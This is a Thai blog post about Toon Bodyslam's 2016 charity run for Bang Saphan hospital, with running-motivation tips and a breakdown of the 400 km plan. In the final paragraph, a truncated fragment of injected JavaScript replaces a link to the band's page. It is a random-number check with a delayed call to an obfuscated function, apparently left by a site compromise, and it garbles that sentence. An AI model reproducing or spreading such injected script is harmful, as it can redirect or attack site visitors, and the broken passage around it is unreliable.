“ก้าวคนละก้าว” โครงการเล็กๆ ของพี่ตูน บอดี้สเเลม ที่จุดเเรงบันดาลใจให้ใครหลายคน

“…ถ้าจะเจ็บจนแบบส่งผลกับการออกกำลังกายในอนาคต…ก็คุ้ม
ถ้าการบาดเจ็บของผมครั้งนี้…จะช่วยให้คนระดับเรา ๆ ได้ร่วมกันบ้าง…ช่วยกันบ้าง
สักคนละสิบบาท…ยี่สิบบาท…ถ้าเป็นล้านคนก็สิบล้าน…ยี่สิบล้าน…ผมว่าคุ้ม…” ตูน Bodyslam

สมทบทุนร่วมบริจาคเงินได้ที่ :
บัญชีออมทรัพย์ ธนาคารกรุงไทย สาขาบางสะพาน
ชื่อบัญชี “โครงการก้าวคนละก้าว เพื่อโรงพยาบาลบางสะพาน”
เลขที่บัญชี 7420378118

Posted by Every Bodyslam on Wednesday, November 16, 2016

เสียงเล็กที่ยิ่งใหญ่

เสียงเล็กๆ ของพี่ตูน จะกลายเป็นเสียงที่ดัง…มันคือการทำสิ่งเล็กๆ ที่มีความหมาย ให้กลายเป็นเเรงบันดาลใจของใครหลายๆ คน เชื่อเถอะครับว่า การวิ่งสามารถเปลี่ยนแปลงชีวิตคุณได้

สิ่งที่จะฉุดให้คุณลุกออกมาวิ่งได้นั้นมีไม่กี่อย่างครับ หลายๆ ครั้งที่เจอนักวิ่งในสนาม มีคนบอกว่าต้องออกมาวิ่งเพราะหมอสั่ง เพราะเป็นโรคป่วยไข้ เฉียดตาย…ประมาณว่าไม่เห็นโลงไม่หลั่งน้ำตาพอเริ่มสะสมการวิ่งกันเยอะขึ้น สุขภาพร่างกายก็เริ่มพัฒนาดีขึ้น ไอ้เเบบนี้เราก็ขอดีใจด้วยครับและจอให้พัฒนาไปเรื่อยๆ อย่าหยุด เเต่จะมีไหมที่บอกว่าออกมาวิ่งเพราะต้องการมีสุขภาพดี ต้องการสร้างภูมิคุ้มกันตั้งเเต่ต้้น วิ่งเพื่อพัฒนาตัวเอง มีเเรงบันดาลใจด้านบวกเป็นตัวตั้งต้น เเทนทีจะให้ด้านลบไล่เราให้ออกมาวิ่งออกกำลังกาย

เเรงบันดาลใจเป็นจุดเริ่มทุกสิ่ง เเละเทคนิคการหาเเรงบันดาลใจ อย่างเช่น…

• การเข้ากลุ่มชมรมวิ่ง เป็นอันดับเเรงๆ ที่ทำได้ง่ายที่สุด คุณจะได้พบปะกับคนหลากหลายประเภท เเต่ละกันก็มีเหตุผลที่อยากออกมาวิ่ง เหตุผลที่อยากวิ่งก็มีไม่เหมือนกัน แต่ไม่เเน่นะ บางทีเเรงบันดาลใจของเขาอาจจะคล้ายของคุณก็ได้ เวลาเข้ากลุ่มชมรมย่อมไปเพื่อนเยอะขึ้น เเละเพื่อนนี้เองจะช่วยสอน ช่วยดันซึ่งกันเเละกัน สำหรับกลุ่มชมรมที่เเนะนำ อย่างเช่น กลุ่ม 42.195 K Club…เราจะไปมาราธอนด้วยกันและSathavornRunningClub
• โหลดเเอพวิ่ง เพื่อสร้างข้อมูลที่จับต้องได้คือหนึ่งในวิธีสร้างเเรงกระตุ้นในการวิ่งได้อย่างดี มีการสร้างเป้าหมายที่ชัดเจนทุกครั้งที่ออกวิ่ง โดยเเอพจะทำการบันทึก ระยะทาง ความเร็ว อัตราเต้นหัวใจ ฯลฯ ซึ่งสามารถข้อมูลที่ได้จากเเอพมาพัฒนาตัวเองได้ง่ายเเละมีประสิทธิภาพ หรือสามารถเรียนรู้ได้ด้วยตัวเอง
  ข้อดีของการวิ่งกับเเอพ คือ เราดีไซด์ออกเเบบการวิ่งเเต่ละครั้งให้สอดคล้องกับโปรเเกรมการฝึกได้เต็มที่ วันนี้จะวิ่งกี่กิโล ความเร็วเท่าไหร ช่วงไหนเร็วช่วงไหนผ่อนเบา เเอพวิ่งสามารถทำให้ได้หมดครับ การวิ่งสะสมระยะทางเเละสามารถดูได้จากเเอพนั้นมันเหมือนกับการหยอดกระปุกออมสินละครับ ยิ่งสะสมมากเท่าไหร จำนวนเงินก็ย่อมเเยะขึ้นและจะเริ่มมีโมเมนตรัมผลักดันให้เราสะสมเงินให้มากขึ้นเรื่อยๆ เช่นด้วยกับการสะสมระยะทางของเราบนเเอพวิ่ง ไล่จากวันเป็นเดือนเเละเป็นปี เราจะเห็นการพัฒนาการได้ชัดเจนยิ่งขึ้น จากวิ่งสั้นๆ มาวิ่งยาวขึ้นและเริ่มวิ่งเร็วขึ้น การมีสถิติให้ดู บางทีก็จะกลายเป็นของมีค่า เป็นทั้งข้อมูลสถิติใช้ในการพัฒนาด้วยเองเเละเป็นหลักฐานเเห่งความภาคภูมิใจ

ทุกอย่างต้องมีการวางเเผน เตรียมตัว

เห็นอย่างนี้พี่ตูนก็มีการวางเเผนวิ่งมาสักระยะใหญ่เเล้วนะครับ ไม่ใช้อยู่ดีๆ จะออกมาวิ่ง เเต่บอกเลยว่าการวิ่งระยะ 400 กิโลเมตร นั้นหนักหน่วงอยู่เหมือนกัน เเละท้าทายมาก การฝึกออกกำลังกายที่ดีให้เห็นผลต้องมี 4 ปัจจัยหลักๆ คือ

• Goal & Program วางเเผนตั้งเป้าหมาย เเละออกเเบบการฝึกซ้อม ในที่นี้ลองวิเคาระห์กันดูนะครับ ว่าวิ่งระยะ 400 กิโลเมตรต้องใช้ระยะทางต่อวันเท่าไหร…เอา 400/10 = 40 กิโลเมตร ถ้าพัก 1 วันก็จะตกประมาณ 44 กิโลเมตรต่อวัน นั้นคือพี่ตูนจะวิ่งมาราธอนในหนึ่งวันเลยทีเดียว
• Effort & Time ความเข้มข้นในการออกกำลังกายเเละเวลาที่ใช้ไป กว่าจะมาถึงจุดนี้ได้นักวิ่งควรจะสะสมไมล์ระยะทางการวิ่งมาสักพักใหญ่ละครับ ถ้าลองคำนวนว่าพี่ตูนจะวิ่งที่ pace 6 ไปตลอดระยะทาง 44 กิโลเมตร จะใช้เวลาประมาณ 4.4 ชั่วโมง บวกเรื่องพักดื่มน้ำไปด้วยก็น่าจะจบที่ 5 ชั่วโมงต่อวัน

  

• rest & recovery การพักผ่อนก็ถือเป็นเรื่องสำคัญ วิ่งย่อมมีการใช้กล้ามเนื้อ มีส่วนที่เสียหายเเละต้องการซ่อมเเซมเพื่อใช้งานใหม่ จำนวนวันวิ่งของพี่ตูนอยู่ที่ 9 วัน เพราะมีพักวันที่ 6 ธันวาคม คาดว่าในการพักเเต่ละวันคงต้องนอนอย่างน้อยวันละ 6-7 ชั่วโมง เเล้วค่อยออกไปวิ่งต่อ คาดว่าพี่ตูนคงทำตารางวิ่ง พัก กิน และเวลาหลับไว้ชัดเจนเเล้วนะครับ
• Eat อาหารการกิน เเหล่งพลังงานที่สำคัญในการวิ่งคือ คาร์โบไฮเดรต เเละต้องมีการเติมในช่วงเวลาวิ่งด้วย อาจจะเป็นพวก energygel หรือ energybar เเต่เมื่อสิ้นสุดการวิ่งในเเต่ละวันคาดว่าจะต้องรับอาหารประเภทโปรตีนเพิ่มเพื่อไปซ้อมเเซมกล้ามเนื้อ

  

สุดท้ายถ้าเพื่อนๆ อยากจะร่วมวิ่งพร้อมกับพี่ตูนก็สามารถทำได้ครับ ในวันที่ 10 ธันวาคม จะไปตั้งขบวนรอวิ่งพอพร้อมพี่ตูนที่บางสะพานกัน และอย่าลืมติดตามข่าวสารจากเพจandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and/” target=”_blank”> Bodyslam และEvery Bodyslamเพราะในระหว่างวันที่ 1-10 ธ.ค.2559 จะมีเพื่อนศิลปินมาร่วมวิ่งตามระยะทางต่างๆ ด้วย รวมทั้งในวันที่ 5 ธันวาคมถ้าใครอยู่หัวหิน พี่ตูนจะมีการสักการะพระบรมฉายาลักษณ์พระบาทสมเด็จพระเจ้าอยู่หัว รัชกาลที่ 9 ที่ หน้าพระราชวังไกลกังวล ก่อนออกวิ่งต่อไป

รูปแบบเส้นทางที่บางสะพาน